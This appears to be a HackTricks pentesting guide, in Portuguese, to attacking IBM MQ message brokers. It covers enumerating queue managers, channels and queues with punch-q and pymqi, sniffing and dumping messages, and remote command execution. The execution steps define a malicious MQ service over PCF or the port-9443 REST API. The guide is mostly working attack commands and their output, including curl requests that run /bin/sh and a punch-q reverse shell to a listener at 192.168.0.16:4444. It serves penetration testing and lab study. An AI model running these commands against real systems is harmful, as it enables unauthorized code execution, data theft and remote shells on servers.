1414 - Pentesting IBM MQ

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações básicas

IBM MQ é uma tecnologia da IBM para gerenciar filas de mensagens. Como outras tecnologias de broker de mensagens, é dedicada a receber, armazenar, processar e classificar informações entre produtores e consumidores.

Por padrão, expõe a porta TCP 1414 do IBM MQ. Às vezes, a API HTTP REST pode ser exposta na porta 9443. Métricas (Prometheus) também podem ser acessadas pela porta TCP 9157.

A porta TCP 1414 do IBM MQ pode ser usada para manipular mensagens, filas, canais, … mas também para controlar a instância.

A IBM fornece uma extensa documentação técnica disponível em https://www.ibm.com/docs/en/ibm-mq.

Ferramentas

Uma ferramenta sugerida para exploração fácil é punch-q, com uso via Docker. A ferramenta utiliza ativamente a biblioteca Python pymqi.

Para uma abordagem mais manual, use a biblioteca Python pymqi. IBM MQ dependencies são necessárias.

Instalando pymqi

IBM MQ dependencies precisam ser instaladas e carregadas:

  1. Crie uma conta (IBMid) em https://login.ibm.com/.
  2. Baixe as bibliotecas do IBM MQ de https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Para Linux x86_64 é 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. Descompacte (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Execute sudo ./mqlicense.sh para aceitar os termos das licenças.

Se você estiver usando Kali Linux, modifique o arquivo mqlicense.sh: remova/comente as seguintes linhas (entre as linhas 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. Instale estes pacotes:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Em seguida, adicione temporariamente os arquivos .so ao LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, antes de executar outras ferramentas que dependam dessas bibliotecas.

Em seguida, você pode clonar o projeto pymqi: ele contém trechos de código interessantes, constantes, … Ou você pode instalar diretamente a biblioteca com: pip install pymqi.

Using punch-q

With Docker

Basta usar: sudo docker run --rm -ti leonjza/punch-q.

Without Docker

Clone o projeto punch-q e então siga o readme para instalação (pip install -r requirements.txt && python3 setup.py install).

Depois, ele pode ser usado com o comando punch-q.

Enumeration

Você pode tentar enumerar o queue manager name, os usuários, os canais e as queues com punch-q ou pymqi.

Se TCP/1414 estiver filtrado ou o alvo expuser apenas o servidor web embutido, verifique também TCP/9443. Versões recentes do IBM MQ expõem o IBM MQ Console / REST API lá por padrão quando mqweb está habilitado, e o endpoint REST administrativo pode executar comandos arbitrários MQSC se você tiver credenciais válidas.

Queue Manager

Às vezes, não há proteção para obter o nome do Queue Manager:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Canais

punch-q está usando uma wordlist interna (modificável) para encontrar canais existentes. Exemplo de uso:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Acontece que algumas instâncias do IBM MQ aceitam requisições MQ não autenticadas, então --username / --password não são necessários. Claro que os direitos de acesso também podem variar.

Assim que obtivermos um nome de canal (aqui: DEV.ADMIN.SVRCONN), podemos enumerar todos os outros canais.

A enumeração pode basicamente ser feita com este trecho de código code/examples/dis_channels.py do pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… Mas o punch-q também incorpora essa parte (com mais informações!). Pode ser executado com:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

Muitos casos de “conecta, mas retorna 2035” são causados por regras CHLAUTH ou pela falta de permissões OAM nos objetos-alvo.

Se você já tem acesso administrativo MQSC, MATCH(RUNCHECK) é a maneira mais rápida de entender qual regra será aplicada a uma conexão remota:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

Através do endpoint REST de administração em 9443, a mesma verificação pode ser feita remotamente:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Se você tiver direitos suficientes para usar o PCF remotamente, a IBM expõe MQCMD_INQUIRE_CHLAUTH_RECS, que retorna os registros de autenticação do canal e seus mapeamentos para MCAUSER. Isso é útil para confirmar se um canal mapeia usuários remotos para uma conta local mais privilegiada antes de tentar acesso a mensagens, criação de objetos ou abuso de serviço.

Filas

Há um trecho de código com pymqi (dis_queues.py) mas punch-q permite recuperar mais informações sobre as filas:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploração

Extrair mensagens

Você pode direcionar queue(s)/channel(s) para detectar/capturar mensagens deles (operação não destrutiva). Exemplos:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Não hesite em iterar em todas as filas identificadas.

Execução de código

Alguns detalhes antes de continuar: IBM MQ pode ser controlado de várias maneiras: MQSC, PCF, Control Command. Algumas listas gerais podem ser encontradas em IBM MQ documentation. PCF (Programmable Command Formats) é o que estamos focando para interagir remotamente com a instância. punch-q e, além disso, pymqi são baseados em interações PCF.

Você pode encontrar uma lista de comandos PCF:

Um comando interessante é MQCMD_CREATE_SERVICE e sua documentação está disponível here. Ele recebe como argumento um StartCommand apontando para um programa local na instância (exemplo: /bin/sh).

Há também um aviso sobre o comando na documentação: “Atenção: Este comando permite que um usuário execute um comando arbitrário com autoridade mqm. Se concedidos direitos para usar este comando, um usuário malicioso ou descuidado poderia definir um serviço que danifique seus sistemas ou dados, por exemplo, apagando arquivos essenciais.”

Nota: sempre de acordo com a documentação do IBM MQ (Administration Reference), também existe um endpoint HTTP em /admin/action/qmgr/{qmgrName}/mqsc para executar o comando MQSC equivalente para criação de serviço (DEFINE SERVICE). Este aspecto não é coberto aqui ainda.

Se as credenciais do MQ Console / REST API estiverem disponíveis, você frequentemente pode alcançar as mesmas primitivas administrativas via HTTPS na 9443 sem usar as bibliotecas do cliente MQ. A IBM documenta /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc como um endpoint que aceita comandos plain-text MQSC ou JSON.

A criação / exclusão de serviço com PCF para execução remota de programas pode ser feita por punch-q:

Exemplo 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

Nos logs do IBM MQ, você pode ler que o comando foi executado com sucesso:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Você também pode enumerar programas existentes na máquina (aqui /bin/doesnotexist … não existe):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Esteja ciente de que o lançamento do programa é assíncrono. Portanto você precisa de um segundo item para aproveitar o exploit (listener for reverse shell, file creation on different service, data exfiltration through network …)

A mesma técnica pode ser conduzida a partir da REST API:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Isto é especialmente útil durante avaliações onde:

  • 9443 é acessível, mas 1414 está restrito a um intervalo de origem menor
  • A equipe alvo gerencia o IBM MQ principalmente através do console web e esqueceu de proteger as REST roles
  • Você quer evitar instalar as bibliotecas cliente do IBM MQ localmente e precisa apenas de administração em nível MQSC

Exemplo 2

Para um reverse shell mais simples, punch-q também propõe duas payloads de reverse shell:

  • Uma com bash
  • Uma com perl

Claro que você pode criar uma personalizada com o comando execute.

Para bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Para perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

PCF personalizado

Você pode consultar a documentação do IBM MQ e usar diretamente a biblioteca python pymqi para testar comandos PCF específicos não implementados no punch-q.

Exemplo:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Se você não conseguir encontrar os nomes das constantes, pode consultar a documentação do IBM MQ.

_Exemplo para MQCMD_REFRESH_CLUSTER (Decimal = 73). Ele precisa do parâmetro MQCA_CLUSTER_NAME (Decimal = 2029) que pode ser _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

Ambiente de teste

Se você quiser testar o comportamento do IBM MQ e exploits, pode configurar um ambiente local baseado em Docker:

  1. Ter uma conta em ibm.com e cloud.ibm.com.
  2. Criar um IBM MQ containerizado com:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

Aqui, o nome do queue manager foi definido como MYQUEUEMGR (variável MQ_QMGR_NAME).

Imagens de desenvolvedor recentes 9.4.x alteraram o comportamento padrão:

  • admin e app são criados apenas se você definir suas senhas
  • A IBM documenta MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD como descontinuados a partir de 9.4.0.0
  • A forma preferida é injetar segredos chamados mqAdminPassword e mqAppPassword

Para um laboratório local rápido com Podman, você pode criar ambos os usuários assim:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

Com a configuração padrão de desenvolvimento:

  • DEV.ADMIN.SVRCONN permite apenas o usuário admin
  • DEV.APP.SVRCONN é o canal da aplicação e o usuário app é a identidade esperada
  • https://<target>:9443/ibmmq/console expõe o console web quando o servidor web embutido está ativado

Você deve ter o IBM MQ em execução com suas portas expostas:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

As versões antigas das imagens Docker do IBM MQ estão em: https://hub.docker.com/r/ibmcom/mq/.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks